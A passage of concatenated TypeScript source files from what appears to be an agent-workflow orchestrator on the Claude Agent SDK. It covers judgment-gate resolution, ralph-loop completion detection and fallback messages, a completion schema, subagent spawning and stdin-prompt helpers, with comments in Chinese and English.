FallbackRule>\nexport type JudgmentTriggersFileT = Static<typeof JudgmentTriggersFile>\nexport type JudgmentRulesFileT = Static<typeof JudgmentRulesFile>\nexport type JudgmentFileT = Static<typeof JudgmentFile>\nexport type UserOverrideEntryT = Static<typeof UserOverrideEntry>\nexport type UserOverridesFileT = Static<typeof UserOverridesFile>\n","// Phase v2.0-2.3 W0 T2.3.W0.4 — judgmentResolver.ts (Q-AUDIT-5c MANDATORY,\n// R20.4 acceptance c sub-item, PLAN-ENG-REVIEW Implementation Task #1).\n//\n// expr-eval Parser 视 `judgments.<file>.<trigger>.<field>` 为 4 层 dot-access\n// identifier chain — Parser 不直接支持 file boundary semantics。本模块在\n// evalGate 调用前预 resolve 4 层 ref → load `workflows/judgments/<file>.yaml`\n// → TypeBox validate → extract trigger.fires_when / skips_when → 交给 evalGate\n// (D-03 expr-eval) 求值。\n//\n// Dual-schema routing per W0.6: fallback.yaml 顶级 key 是 `rules` (3 铁律),\n// 其余 5 file 顶级 key 是 `triggers`. fallback rules 无 fires_when/skips_when\n// 字段, 不参与 expr eval — gate ref 指向 fallback file 时 fieldName 必走 error\n// path (设计意图: fallback 由 runtime 词法匹配, 非 expr eval).\n//\n// Cache: parsed yaml 文件 module-level Map<fileName, JudgmentTriggersFileT |\n// JudgmentRulesFileT> avoid hot-path readFile + parseYaml (perf per PLAN L195).\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { evalGate } from './exprBuilder.js'\nimport {\n  JudgmentRulesFile,\n  type JudgmentRulesFileT,\n  JudgmentTriggersFile,\n  type JudgmentTriggersFileT,\n} from './schema/judgment.js'\n\nexport class TriggerNotFoundError extends Error {\n  constructor(\n    public readonly trigger: string,\n    public readonly fileName: string,\n  ) {\n    super(`Trigger '${trigger}' not found in judgments/${fileName}.yaml`)\n    this.name = 'TriggerNotFoundError'\n  }\n}\n\nconst _fileCache = new Map<string, JudgmentTriggersFileT | JudgmentRulesFileT>()\n\nexport async function resolveJudgmentGate(\n  gateRef: string,\n  context: Record<string, unknown>,\n  packageRoot: string,\n): Promise<boolean> {\n  // v3.6.0 Phase 3 — user-override bypass (P0b 上半, Audit § fallback 三条铁律\n  // \"用户明示 → 覆盖判据\"). CLI (src/cli/run.ts) fills gateContext.user_overrides[]\n  // from task description keyword match against workflows/judgments/user-overrides.yaml\n  // (loaded by src/cli/lib/extract-user-overrides.ts). When gateRef present in the\n  // array → fires=true bypass; expression evaluation skipped. Only the `.fires`\n  // field honors the override; `.skips` falls through to normal eval (user\n  // override forces fire, not skip).\n  const userOverrides = context.user_overrides as string[] | undefined\n  if (Array.isArray(userOverrides) && userOverrides.includes(gateRef)) {\n    return true\n  }\n\n  const parts = gateRef.split('.')\n  if (parts.length !== 4 || parts[0] !== 'judgments') {\n    throw new Error(`Invalid gate ref: ${gateRef}`)\n  }\n  const [, fileName, triggerName, fieldName] = parts as [string, string, string, string]\n\n  let parsed = _fileCache.get(fileName)\n  if (!parsed) {\n    const yamlPath = resolve(packageRoot, 'workflows', 'judgments', `${fileName}.yaml`)\n    const raw = await readFile(yamlPath, 'utf8')\n    const parsedRaw = parseYaml(raw) as unknown\n    const schema = fileName === 'fallback' ? JudgmentRulesFile : JudgmentTriggersFile\n    if (!Value.Check(schema, parsedRaw)) {\n      const errors = [...Value.Errors(schema, parsedRaw)]\n        .slice(0, 3)\n        .map((e) => `${e.path} ${e.message}`)\n        .join('; ')\n      throw new Error(`Invalid judgment file ${fileName}.yaml: ${errors}`)\n    }\n    parsed = parsedRaw as JudgmentTriggersFileT | JudgmentRulesFileT\n    _fileCache.set(fileName, parsed)\n  }\n\n  const entries =\n    'triggers' in parsed\n      ? parsed.triggers\n      : (parsed.rules as unknown as Record<string, { fires_when?: string; skips_when?: string }>)\n  const trigger = entries[triggerName]\n  if (!trigger) {\n    throw new TriggerNotFoundError(triggerName, fileName)\n  }\n\n  const expr =\n    fieldName === 'fires'\n      ? trigger.fires_when\n      : fieldName === 'skips'\n        ? trigger.skips_when\n        : undefined\n  if (!expr) {\n    throw new Error(\n      `Field '${fieldName}' has no expression in trigger '${triggerName}' of ${fileName}.yaml`,\n    )\n  }\n\n  return evalGate(expr, context)\n}\n\n// Test-only — clears the parsed-yaml cache so cache-hit / cache-miss fixtures\n// stay independent. Production callers should never touch this.\nexport function _clearJudgmentCache(): void {\n  _fileCache.clear()\n}\n","// v3.4.4 Phase 6 — hoisted from src/routing/lib/promiseExtract.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase 1.5 T5.2 — `<promise>...</promise>` XML wrapper extract (hard split).\n//\n// IMPL NOTE — implements ADR 0009 § Decision Errata 3 + D1.5-4 sub-item 3 +\n// PLAN-CHECK W-2 absorption (D1.5-8b). phase 1.4 shipped ralphLoop.ts at 66L,\n// already over the D1.4-3 ≤50L wedge principle by 16L. Rather than swelling it\n// further with the XML wrapper upgrade, the promise-extraction logic is hard\n// split into this single-purpose helper (~30L) so ralphLoop.ts main body\n// returns toward ≤50L. SPIKE-REPORT-2.md § D1.5-8b confirmed the regex is\n// simple enough to isolate.\n//\n// The XML wrapper `<promise>([^<]+)</promise>` disambiguates think-out-loud\n// text (e.g. \"I think the task is COMPLETE in nature\") from the actual\n// completion signal — the phase 1.4 raw `^COMPLETE$/m` regex was prone to that\n// false positive. `extractPromise` returns the wrapped content (e.g.\n// \"COMPLETE\") or null; callers check `=== \"COMPLETE\"`. The capture-group design\n// also supports future status values (PARTIAL / BLOCKED) without an interface\n// change — phase 1.5 still only accepts \"COMPLETE\".\n\n/** Matches the first `<promise>...</promise>` wrapper; group 1 is the content. */\nexport const PROMISE_PATTERN = /<promise>([^<]+)<\\/promise>/\n\n/**\n * Extract the content of the first `<promise>...</promise>` XML wrapper.\n *\n * @param text - the (possibly think-out-loud) agent output to scan.\n * @returns the wrapped content (e.g. `\"COMPLETE\"`), or `null` when no wrapper\n *          is present.\n */\nexport function extractPromise(text: string): string | null {\n  const match = text.match(PROMISE_PATTERN)\n  return match ? (match[1] as string) : null\n}\n","// v3.4.4 Phase 6 — hoisted from src/routing/lib/fallbackHandlers.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase v2.0-2.4 W1 T2.4.W1.2 — ralph-loop fallback UX handlers (R20.10 acceptance c).\n// Sister Phase 2.2 sdkReconcile.ts split pattern (≤80L helper from engine.ts ≤200L\n// Karpathy hard limit). PLAN.md L339-368 verbatim UX text per RESEARCH § 7.2.\n//\n// CONTRACT — fallback config 来自 phases.yaml v2 phase.fallback.max_iterations_exceeded\n// (TypeBox schema src/workflow/schema/workflow.ts L38-45 ship by T2.4.W0.1). engine.ts\n// catch block delegates here — handler emits full UX text to stderr (PLAN L342-358)\n// then process.exit(exit_code). Return type `never` — process.exit unreachable after.\n\nimport type { MaxIterationsExceededError, VerbatimCompleteFailError } from './ralphLoop.js'\n\nexport interface FallbackMaxIterationsExceededConfig {\n  action: 'emit_warning_and_halt'\n  message: string\n  exit_code: number\n}\n\nexport interface MaxIterFallbackCtx {\n  subtaskSummary: string\n  workflowName: string\n  phaseId: string\n  lastMessage?: string\n  maxIterations: number\n}\n\nexport interface VerbatimFallbackCtx {\n  subtaskSummary: string\n  workflowName: string\n  phaseId: string\n}\n\n/** Emit RESEARCH § 7.2 verbatim UX text + process.exit. Yaml `message` placeholder\n *  `{{ args.max_iterations }}` is substituted with actual iter (sister Phase 3.2 W1\n *  T1.6 interpolate.ts STRICT regex 不支持 dot-path — inline minimal substitution). */\nexport function handleMaxIterationsExceeded(\n  err: MaxIterationsExceededError,\n  fallback: FallbackMaxIterationsExceededConfig,\n  ctx: MaxIterFallbackCtx,\n): never {\n  const yamlShort = fallback.message.replace(\n    /\\{\\{\\s*args\\.max_iterations\\s*\\}\\}/g,\n    String(ctx.maxIterations),\n  )\n  const truncated = (ctx.lastMessage ?? '<empty>').slice(0, 500)\n  // RESEARCH § 7.2 verbatim UX text (PLAN L342-358).\n  const uxText = `❌ ralph-loop max-iterations exceeded (${err.iterations}/${ctx.maxIterations}).\nSub-task: ${ctx.subtaskSummary}\nWorkflow: ${ctx.workflowName} / phase ${ctx.phaseId}\nLast subagent output (truncated): ${truncated}\nThe subagent attempted ${err.iterations} iterations without emitting verbatim \"<promise>COMPLETE</promise>\".\nThis indicates one of:\n  1. Sub-task is genuinely incomplete (escalate to user / re-scope)\n  2. Subagent is stuck in a loop (review prompt / system instructions)\n  3. max-iterations too low (override via --max-iterations <N>, hard upper limit 100)\nManual options:\n  A) Continue with current state: \\`harnessed workflow resume --skip-completion-gate\\`\n  B) Re-run from last checkpoint: \\`harnessed workflow resume --from-checkpoint\\`\n  C) Abort cleanly: exit 1\nExit code: ${fallback.exit_code}\n${yamlShort}`\n  console.error(uxText)\n  process.exit(fallback.exit_code)\n  throw new Error('unreachable') // satisfies `never` return type for type-checker\n}\n\n/** Symmetric handler for VerbatimCompleteFailError (sister ralphLoop.ts L29-34\n *  Phase 2.2 ship). Same fallback config reused; UX text mentions verbatim signal. */\nexport function handleVerbatimCompleteFail(\n  err: VerbatimCompleteFailError,\n  fallback: FallbackMaxIterationsExceededConfig,\n  ctx: VerbatimFallbackCtx,\n): never {\n  const truncated = err.lastMessage.slice(0, 500)\n  const uxText = `❌ ralph-loop verbatim COMPLETE signal missing (F33 P1).\nSub-task: ${ctx.subtaskSummary}\nWorkflow: ${ctx.workflowName} / phase ${ctx.phaseId}\nLast subagent output (truncated): ${truncated}\nThe subagent's final message lacked verbatim \"<promise>COMPLETE</promise>\" tag.\nThis indicates one of:\n  1. Subagent skipped the completion-promise contract (review system prompt)\n  2. Output format misconfigured (check outputFormat schema)\nManual options:\n  A) Re-run with explicit COMPLETE instruction in subagent prompt\n  B) Abort cleanly: exit ${fallback.exit_code}\nExit code: ${fallback.exit_code}`\n  console.error(uxText)\n  process.exit(fallback.exit_code)\n  throw new Error('unreachable')\n}\n","// Phase 1.4 T3.1 / 1.5 T5.2 / 2.2 W2 T2.4 — ralph-loop wedge (D1.4-3 ≤50L).\n// Phase 2.2 W2 T2.4 adds dual-signal 4-layer isComplete + resumeSessionId\n// closure (ADR 0011 errata / B-02 B-26 / PATTERNS § 2.2 § 2.4 / RESEARCH § 1.3).\n// Phase v3.4.4 — moved from src/routing/lib/ to src/workflow/lib/ (single SoT, sister Phase 2 sdkSpawn pattern). promiseExtract + completionSchema + fallbackHandlers remain in src/routing/ pending Phase 6 hoist.\n\nimport type { SdkResultEnvelope } from './completionSchema.js'\nimport { extractPromise } from './promiseExtract.js'\n\n/** 4-layer dual-signal completion detect: (1) outer PRIMARY structured_output,\n *  (2) outer FALLBACK <promise> in result text, (3) inner FALLBACK on raw\n *  string (non-JSON envelope — test mock / degraded; B-07 Tier A path). */\nexport function isComplete(output: string): boolean {\n  try {\n    const env = JSON.parse(output) as SdkResultEnvelope\n    if (env.subtype === 'success' && env.structured_output?.status === 'COMPLETE') return true\n    if (extractPromise(env.text ?? env.result ?? '') === 'COMPLETE') return true\n    return false\n  } catch {\n    return extractPromise(output) === 'COMPLETE'\n  }\n}\n\nexport class MaxIterationsExceededError extends Error {\n  constructor(public iterations: number) {\n    super(`ralph-loop max-iterations exceeded after ${iterations} attempts`)\n    this.name = 'MaxIterationsExceededError'\n  }\n}\n\nexport class VerbatimCompleteFailError extends Error {\n  constructor(public lastMessage: string) {\n    super('subagent final message lacked verbatim <promise>COMPLETE</promise> (F33 P1 mitigation)')\n    this.name = 'VerbatimCompleteFailError'\n  }\n}\n\n/** Anchor 4 wedge — `resumeSessionId` flows through `spawn` so T4.1 sdkSpawn\n *  can attach SDK session resume (CD-4 **activated Phase 3.1 W3 T3.1** —\n *  T4.4 dead-wiring 首消费者 per RESEARCH § 1.5; D-04 WIRE-IN LOCKED).\n *  `onSessionId` callback fires on iter 1 SDK system:init capture, allowing\n *  iter 2+ to pass the captured id back via `resumeSessionId` arg. */\nexport async function ralphLoopWrap(\n  spawn: (resumeSessionId?: string, onSessionId?: (id: string) => void) => Promise<string>,\n  maxIter: number,\n): Promise<string> {\n  let last = ''\n  let sessionId: string | undefined\n  for (let i = 0; i < maxIter; i++) {\n    last = await spawn(sessionId, (id) => {\n      sessionId = id\n    })\n    if (isComplete(last)) return last\n  }\n  throw new MaxIterationsExceededError(maxIter)\n}\n\nexport type {\n  FallbackMaxIterationsExceededConfig,\n  MaxIterFallbackCtx,\n  VerbatimFallbackCtx,\n} from './fallbackHandlers.js'\nexport { handleMaxIterationsExceeded, handleVerbatimCompleteFail } from './fallbackHandlers.js'\n","// v3.4.4 Phase 6 — hoisted from src/routing/completionSchema.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase 2.2 Wave 2 T2.2 — Unified COMPLETION_SCHEMA (D2.2-1 / RESEARCH § 1.4).\n// ADR 0011 errata — dual-signal completion 4-layer (phase 2.2 W2 — F4).\n//\n// IMPL NOTE — RESEARCH § 1.4 establishes ONE schema shared across the 4-phase\n// task chain (01-clarify / 02-code / 03-test / 04-deliver). Karpathy\n// YAGNI: per-phase schema variants are NOT needed — a single status/phase\n// discriminator + free-form summary + optional blockers covers every phase's\n// completion semantics. Consumer at `isComplete()` (lib/ralphLoop.ts) branches\n// on `status === 'COMPLETE'`. PRIMARY signal — see SC3 plan-fork\n// (`outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA }`).\n\nexport const COMPLETION_SCHEMA = {\n  type: 'object',\n  properties: {\n    status: { type: 'string', enum: ['COMPLETE', 'PARTIAL', 'BLOCKED'] },\n    phase: { type: 'string', enum: ['01-clarify', '02-code', '03-test', '04-deliver'] },\n    summary: { type: 'string' },\n    blockers: { type: 'array', items: { type: 'string' } },\n    // v3.5.0 Phase 2 — Option 1-Lite signal-driven Agent Teams escalation.\n    // spawned subagent SHOULD set this when any of parallelism-gate.yaml 5\n    // upgrade triggers fire. harnessed runtime propagates to stderr hint;\n    // user opens team in main Claude Code session (TeamCreate not exposed to\n    // spawned subagents via SDK v0.3.142 — see PHASE-2-SPEC.md § Why).\n    needs_teams_escalation: { type: 'boolean' },\n    escalation_reason: { type: 'string' },\n  },\n  required: ['status', 'phase'],\n} as const\n\nexport type CompletionStatus = 'COMPLETE' | 'PARTIAL' | 'BLOCKED'\nexport type CompletionPhase = '01-clarify' | '02-code' | '03-test' | '04-deliver'\n\n/** SDK result envelope shape consumed by lib/ralphLoop.ts `isComplete` 4-layer\n *  detect. Mirrors `SDKResultMessage` (sdk.d.ts) — only the fields we read. */\nexport interface SdkResultEnvelope {\n  subtype?: string\n  structured_output?: {\n    status?: CompletionStatus\n    // v3.5.0 Phase 2 — Option 1-Lite escalation fields (D1).\n    needs_teams_escalation?: boolean\n    escalation_reason?: string\n  }\n  text?: string\n  result?: string\n}\n","// v3.4.4 Phase 6 — hoisted from src/routing/lib/sdkReconcile.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase 2.2 Wave 2 T2.1 — agentFactory contract v1.2 reconcile (ADR 0011 errata).\n//\n// IMPL NOTE — splits 2 helper fn out of agentDefinition.ts so the latter holds\n// its ≤200L hard limit (B-24 / D-13). Bridges the factory-internal 14-字段\n// AgentDefinition (contract v1.1, src/routing/agentDefinition.ts) to the\n// `@anthropic-ai/claude-agent-sdk` v0.3.142 input shape.\n//\n// PATTERNS § 2.3 inline correction (T1.1 resolved 2026-05-15) — research\n// baseline said `SDK input = 4 fields, prompt-inject = 10`. The actual\n// `.d.ts` (sdk.d.ts:38) carries `disallowedTools?: string[]` as a first-class\n// SDK input field, so the lock is:\n//   SDK input layer       = 5 fields  (description / tools? / disallowedTools? / prompt / model?)\n//   prompt-inject layer   = 9 fields  (skills / mcpServers / memory / maxTurns / background /\n//                                       effort / permissionMode / initialPrompt /\n//                                       criticalSystemReminder_EXPERIMENTAL)\n//   factory-internal total = 14       (5 + 9 — unchanged, ADR 0009 § Errata 1)\n// Contract v1.2 reconcile chapter (ADR 0011 § 4) finalizes this at Wave 6 T6.1.\n\nimport type { AgentDefinition as SdkAgentDef } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from './agentDefinition.js'\n\n/** Unpack factory-internal 14-字段 AgentDefinition → SDK 5-字段 input shape (B-01).\n *  Optional fields are stripped when absent so the SDK call site stays clean. */\nexport function toSdkAgentDefinition(def: AgentDefinition): SdkAgentDef {\n  return {\n    description: def.description,\n    prompt: def.prompt,\n    ...(def.tools ? { tools: def.tools } : {}),\n    ...(def.disallowedTools ? { disallowedTools: def.disallowedTools } : {}),\n    ...(def.model ? { model: def.model } : {}),\n  }\n}\n\n/** Belt-and-suspenders prompt augmentation — appends the 9 prompt-inject fields\n *  as a structured suffix to `basePrompt`. Callers use this when running an\n *  AgentDefinition through an SDK-input path that does NOT natively carry the\n *  9 factory-internal fields (e.g. plain `query({ agents })` without subagent\n *  registration). Sections are emitted only when the field is present.\n *  Sourced 1:1 with PATTERNS § 2.3 — prepend pattern, KARPATHY_BASELINE-style. */\nexport function injectFactoryInternalFields(def: AgentDefinition, basePrompt: string): string {\n  const parts: string[] = [basePrompt]\n  if (def.skills?.length) parts.push(`## Available skills\\n- ${def.skills.join('\\n- ')}`)\n  if (def.mcpServers && Object.keys(def.mcpServers).length) {\n    parts.push(`## MCP servers\\n${Object.keys(def.mcpServers).join(', ')}`)\n  }\n  if (def.memory) parts.push(`## Memory\\n${def.memory}`)\n  if (def.maxTurns) parts.push(`## Turn budget\\n${def.maxTurns} turns max.`)\n  if (def.background) parts.push(`## Background\\nfire-and-forget`)\n  if (def.effort) parts.push(`## Effort\\n${def.effort}`)\n  if (def.permissionMode) parts.push(`## Permission mode\\n${def.permissionMode}`)\n  if (def.initialPrompt) parts.push(`## Initial prompt\\n${def.initialPrompt}`)\n  if (def.criticalSystemReminder_EXPERIMENTAL) {\n    parts.push(`## CRITICAL\\n${def.criticalSystemReminder_EXPERIMENTAL}`)\n  }\n  return parts.join('\\n\\n')\n}\n","// Phase 2.2 W4 T4.1 — SDK query() async-iterable consumer (ADR 0011 errata).\n//\n// IMPL NOTE — main-process spawn wrapper. Replaces engine.ts defaultSpawn\n// placeholder (T4.2). Engine.route → defaultSpawn → sdkSpawn → query() with\n// outputFormat:{type:'json_schema',schema:COMPLETION_SCHEMA} PRIMARY (B-02 /\n// B-07 SC3) + agents:{ [expertName]: sdkDef } registration. Returns a JSON\n// envelope string consumed by ralphLoopWrap.isComplete 4-layer dual-signal\n// (T2.4):\n//   layer 1 outer PRIMARY  — env.structured_output.status === 'COMPLETE'\n//   layer 2 outer FALLBACK — extractPromise(env.text ?? env.result)\n//   layer 3 inner FALLBACK — extractPromise(raw) when JSON.parse fails\n//   layer 4 final FAIL     — both signals absent (B-07 Tier C)\n// Session resume (CD-4) is captured here via `onSessionId` callback but\n// CD-4 wire-up to v0.3.0 checkpoint (T1.2 SC4 PARTIAL → T4.4 DEFERRED per\n// B-35). Closure infra is in ralphLoopWrap (T2.4); sdkSpawn merely passes\n// `opts.resumeSessionId` to `options.resume` when present.\n//\n// B-25 split rationale: engine.ts ≤200L hard limit (B-23) — putting the\n// real query() consumer here keeps engine orchestration thin.\n\nimport { query, type SDKMessage, type SDKResultMessage } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from './agentDefinition.js'\nimport { COMPLETION_SCHEMA, type SdkResultEnvelope } from './completionSchema.js'\nimport { injectFactoryInternalFields, toSdkAgentDefinition } from './sdkReconcile.js'\n\nexport interface SdkSpawnOpts {\n  /** Subagent name registered in `agents` map; e.g. 'tavily-mcp', 'ui-ux-pro-max'. */\n  expertName: string\n  /** SDK session id to resume (CD-4 deferred to v0.3.0; closure-ready). */\n  resumeSessionId?: string\n  /** Callback fired when SDK emits system:init with session_id (T4.4 hook). */\n  onSessionId?: (id: string) => void\n}\n\nexport class SpawnFailError extends Error {\n  constructor(public lastMessage?: SDKResultMessage) {\n    super('sdkSpawn produced no result message')\n    this.name = 'SpawnFailError'\n  }\n}\n\n/** Narrow SDKResultMessage.subtype to the discriminator we care about. */\ntype ResultSubtype = SDKResultMessage['subtype']\n\n/** Spawn a subagent via SDK query() — main-process async-iterable consumer.\n *  Returns a JSON envelope string consumed by ralphLoopWrap.isComplete\n *  (4-layer dual-signal). On success the envelope carries the structured\n *  output (PRIMARY) AND the result text (FALLBACK), enabling B-07 graceful\n *  degrade if outputFormat doesn't populate structured_output server-side. */\nexport async function sdkSpawn(def: AgentDefinition, opts: SdkSpawnOpts): Promise<string> {\n  const sdkDef = toSdkAgentDefinition(def) // 14→5 字段 unpack (B-01)\n  const injectedPrompt = injectFactoryInternalFields(def, def.initialPrompt ?? def.prompt) // 9-字段 prompt inject\n  const queryOptions: Record<string, unknown> = {\n    allowedTools: ['Read', 'Edit', 'Write', 'Grep', 'Glob', 'Bash', 'Task'],\n    agents: { [opts.expertName]: sdkDef },\n    // PRIMARY signal (B-02 / B-07 SC3) — structured output via json_schema.\n    outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA },\n  }\n  if (opts.resumeSessionId) queryOptions.resume = opts.resumeSessionId\n\n  // SDK `query()` returns AsyncIterable<SDKMessage>; we consume until result.\n  // biome-ignore lint/suspicious/noExplicitAny: SDK options 接口含未导出 union — 用 unknown record + cast。\n  const q = query({ prompt: injectedPrompt, options: queryOptions as any })\n\n  let result: SDKResultMessage | undefined\n  for await (const msg of q as AsyncIterable<SDKMessage>) {\n    if (msg.type === 'system' && msg.subtype === 'init') {\n      opts.onSessionId?.(msg.session_id)\n    }\n    if (msg.type === 'result') {\n      result = msg as SDKResultMessage\n    }\n  }\n  if (!result) throw new SpawnFailError()\n\n  // Build envelope consumed by isComplete 4-layer (lib/ralphLoop.ts T2.4).\n  // SDKResultSuccess.structured_output is typed `unknown` — narrow safely.\n  const structuredOutput =\n    'structured_output' in result\n      ? (result.structured_output as SdkResultEnvelope['structured_output'])\n      : undefined\n  const subtype: ResultSubtype = result.subtype\n  const text = 'result' in result ? result.result : undefined\n\n  const envelope: SdkResultEnvelope = {\n    subtype,\n    ...(structuredOutput ? { structured_output: structuredOutput } : {}),\n    ...(text != null ? { text, result: text } : {}),\n  }\n  return JSON.stringify(envelope)\n}\n","// masterOrchestrator-helpers.ts — v3.1.0 split from masterOrchestrator.ts (karpathy ≤200L hard\n// limit per project memory). v3.2.0 extend — adds /auto super-master pre-flight hook\n// (complexity assessment + understanding check) + retro mandatory invariant note.\n//\n// Sister masterOrchestrator.ts orchestration core stays focused on:gate eval + serial/parallel\n// split + arbitrate + spawn loop。Default IO helpers (fs spawn driver / stdin pause prompt /\n// yaml path resolver / pre-flight hook) live here for test DI override clarity。\n\nimport { resolve } from 'node:path'\nimport {\n  arbitrateBeforeSpawn,\n  type FiredCapability,\n} from '../discipline/enforcement/before-spawn.js'\nimport type {\n  GateEvaluation,\n  MasterName,\n  MasterRunOpts,\n  SpawnDriver,\n} from './masterOrchestrator.js'\nimport { runWorkflow } from './run.js'\nimport type { DelegationClauseT, WorkflowSchemaV3T } from './schema/workflow.js'\n\n/** v3.1.0 — Super-master `/auto` 走 top-level standalone `workflows/auto/workflow.yaml`\n *  (sister research/retro layout); 4 stage-master 仍 走 `workflows/<name>/auto/workflow.yaml`。 */\nexport function resolveMasterYamlPath(masterName: MasterName, packageRoot: string): string {\n  return masterName === 'auto'\n    ? resolve(packageRoot, 'workflows', 'auto', 'workflow.yaml')\n    : resolve(packageRoot, 'workflows', masterName, 'auto', 'workflow.yaml')\n}\n\n/** v3.1.0 — Super-master `/auto` recursive spawn: sub ∈ {discuss,plan,task,verify} spawn to\n *  stage-master `workflows/<sub>/auto/workflow.yaml` (一层抽象 verbatim); 其他 master spawn to\n *  `workflows/<masterName>/<subName>/workflow.yaml` (原 sub-workflow 行为)。\n *  v3.2.0 — `research` / `retro` sub spawn to standalone top-level `workflows/<sub>/workflow.yaml`. */\nexport function resolveSubYamlPath(\n  masterName: MasterName,\n  subName: string,\n  packageRoot: string,\n): string {\n  if (masterName === 'auto') {\n    // v3.2.0 — research + retro are top-level standalone (NOT stage-master nested)\n    if (subName === 'research' || subName === 'retro') {\n      return resolve(packageRoot, 'workflows', subName, 'workflow.yaml')\n    }\n    // 4 stage-master nested at workflows/<sub>/auto/workflow.yaml\n    return resolve(packageRoot, 'workflows', subName, 'auto', 'workflow.yaml')\n  }\n  return resolve(packageRoot, 'workflows', masterName, subName, 'workflow.yaml')\n}\n\nexport const defaultSpawnDriver: SpawnDriver = async (\n  masterName,\n  subName,\n  _context,\n  packageRoot,\n) => {\n  const subYamlPath = resolveSubYamlPath(masterName, subName, packageRoot)\n  // Path A — recursive runWorkflow at sub yaml (in-process). K8: engine shares 1\n  // context snapshot, passed unchanged (`gateContext`).\n  //\n  // issue #1 — fail-fast (NOT silent swallow). The previous body wrapped this in\n  // a try/catch that only `console.warn`ed on a runWorkflow THROW, AND discarded\n  // the non-throwing `{status:'failed'}` return entirely. Net effect: a sub whose\n  // leaf spawn failed (or hung-then-failed) was reported by the master as\n  // `Complete: N fired` with zero work done. The master already halts later\n  // stages when the driver throws (masterOrchestrator serial loop has no\n  // try/catch), so the correct fix is to make THIS driver throw on a failed /\n  // veto-paused sub and let real throws propagate. This honors the documented\n  // \"Fail-fast default\" (workflows/auto/SKILL.md). `harnessed run` is the\n  // CI/headless path; surfacing failure with a non-zero exit is the right UX.\n  const result = await runWorkflow(subYamlPath, {}, { packageRoot, gateContext: _context })\n  if (result.status === 'failed') {\n    throw new Error(\n      `sub-workflow ${masterName}/${subName} failed` +\n        (result.lastPhaseId ? ` at phase ${result.lastPhaseId}` : ''),\n    )\n  }\n  if (result.status === 'paused-veto') {\n    throw new Error(\n      `sub-workflow ${masterName}/${subName} paused (governance veto)` +\n        (result.lastPhaseId ? ` at phase ${result.lastPhaseId}` : ''),\n    )\n  }\n}\n\n/** v3.1.0 / v3.3.0 — Default pause hook: prompt user via stdin to confirm continuation\n *  between stages (super-master `/auto --staged` opt-in; v3.3.0 removed legacy\n *  `--pause-between-stages` alias). Test DI override via opts.pauseFn。 */\nexport const defaultPauseFn = async (stageName: string): Promise<void> => {\n  // issue #1 — non-interactive guard: with no TTY there is no human to press\n  // Enter, so opening readline would hang forever. Resolve immediately (continue).\n  if (!process.stdin.isTTY) return\n  const readline = await import('node:readline/promises')\n  const rl = readline.createInterface({ input: process.stdin, output: process.stdout })\n  try {\n    await rl.question(\n      `\\n[--staged] Stage '${stageName}' complete. Press Enter to continue (Ctrl+C to abort)... `,\n    )\n  } finally {\n    rl.close()\n  }\n}\n\n/** v3.2.0 — Default complexity assessment (Phase 0). 1-shot AI judge 需求 size returns\n *  'small' | 'medium' | 'large'. Default impl 保守 — 无 AI 上下文时返回 'medium' (skip prompt\n *  path)。真接 AI call 应由 caller (slash cmd impl) override via opts.assessComplexity。 */\nexport const defaultAssessComplexity = async (\n  _taskDescription: string,\n): Promise<'small' | 'medium' | 'large'> => {\n  // Conservative default — 'medium' bypasses the large-prompt branch.\n  // Real AI-driven judge should be injected via opts.assessComplexity by caller.\n  return 'medium'\n}\n\n/** v3.2.0 — Default understanding check (Phase 0.5). Prompt user via stdin \"对需求有清晰认知吗?\n *  [Y/n]\"。Returns true if user is clear (skip research), false if unclear (spawn research)。 */\nexport const defaultPromptUserUnderstanding = async (\n  prompter = defaultPrompter,\n): Promise<boolean> => {\n  const answer = await prompter(\n    '\\n[Phase 0.5] 对需求有清晰认知吗? [Y/n] (n = 先跑 /research 多源调研): ',\n  )\n  const a = answer.trim().toLowerCase()\n  // Default Y (clear) on empty / 'y' / 'yes' / unknown; only 'n' / 'no' set unclear=true\n  return !(a === 'n' || a === 'no')\n}\n\n/** v3.2.0 — readline stdin prompter (DI-friendly, sister defaultPauseFn pattern)。 */\nexport const defaultPrompter = async (question: string): Promise<string> => {\n  // issue #1 — non-interactive guard: no TTY → return the safe default ('') instead\n  // of hanging on rl.question. Callers treat '' as the conservative default\n  // (understanding=clear → skip research; large-complexity → stay continuous).\n  if (!process.stdin.isTTY) return ''\n  const readline = await import('node:readline/promises')\n  const rl = readline.createInterface({ input: process.stdin, output: process.stdout })\n  try {\n    return await rl.question(question)\n  } finally {\n    rl.close()\n  }\n}\n\n/** v3.2.0 — /auto super-master pre-flight hook: Phase 0 complexity assessment + Phase 0.5\n *  understanding check. Returns updated opts (auto-staged on large+y) + mutates ctx with\n *  user_understanding_unclear fact (consumed by research gate)。\n *\n *  Returns { proceed: false } when user aborts on large-complexity (n)。 */\nexport async function runAutoPreFlight(\n  ctx: Record<string, unknown>,\n  opts: MasterRunOpts,\n): Promise<{ proceed: boolean; opts: MasterRunOpts }> {\n  const assess = opts.assessComplexity ?? defaultAssessComplexity\n  const prompter = opts.prompter ?? defaultPrompter\n  const taskDesc = typeof ctx.task_description === 'string' ? ctx.task_description : ''\n\n  // Phase 0 — complexity assessment\n  const size = await assess(taskDesc)\n  console.log(`[/auto Phase 0] Complexity assessment: ${size}`)\n  let nextOpts = opts\n  if (size === 'large') {\n    const a = (\n      await prompter(\n        '\\n[Phase 0] 需求复杂度较大,全程 auto 可能时间过长 / 上下文超限。建议 `--staged` 模式 (每 stage 完停 review)。是否切换? [Y/n]: ',\n      )\n    )\n      .trim()\n      .toLowerCase()\n    if (a === 'n' || a === 'no') {\n      console.log(\n        '\\n[/auto Phase 0] User declined --staged. Aborting auto mode — 建议手动 `/discuss` 启动。',\n      )\n      return { proceed: false, opts }\n    }\n    console.log('[/auto Phase 0] Switching to --staged mode.')\n    nextOpts = { ...opts, pauseBetweenStages: true }\n  }\n\n  // Phase 0.5 — 